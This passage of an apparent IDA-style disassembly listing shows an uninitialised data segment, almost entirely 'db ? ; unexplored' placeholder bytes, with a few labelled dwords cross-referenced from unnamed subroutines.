		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807B06C	db ? ; unexplored	; DATA XREF: sub_805B10C+6o
					; sub_805B10C+13o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807B098	db ? ; unexplored	; DATA XREF: .text:0805B1AEo
					; .text:0805B1BBo
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807B0C4	db ? ; unexplored	; DATA XREF: sub_805B530+6o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807B0E0	dd ?			; DATA XREF: sub_805A11C+BFo
					; sub_805AF5C+33w ...
dword_807B0E4	dd ?			; DATA XREF: sub_805A11C+B7r
					; sub_805A11C+123r ...
dword_807B0E8	dd ?			; DATA XREF: sub_805A11C+3Ar
					; sub_805A11C+A0r
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807B0F0	dd ?			; DATA XREF: sub_805B048+33r
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
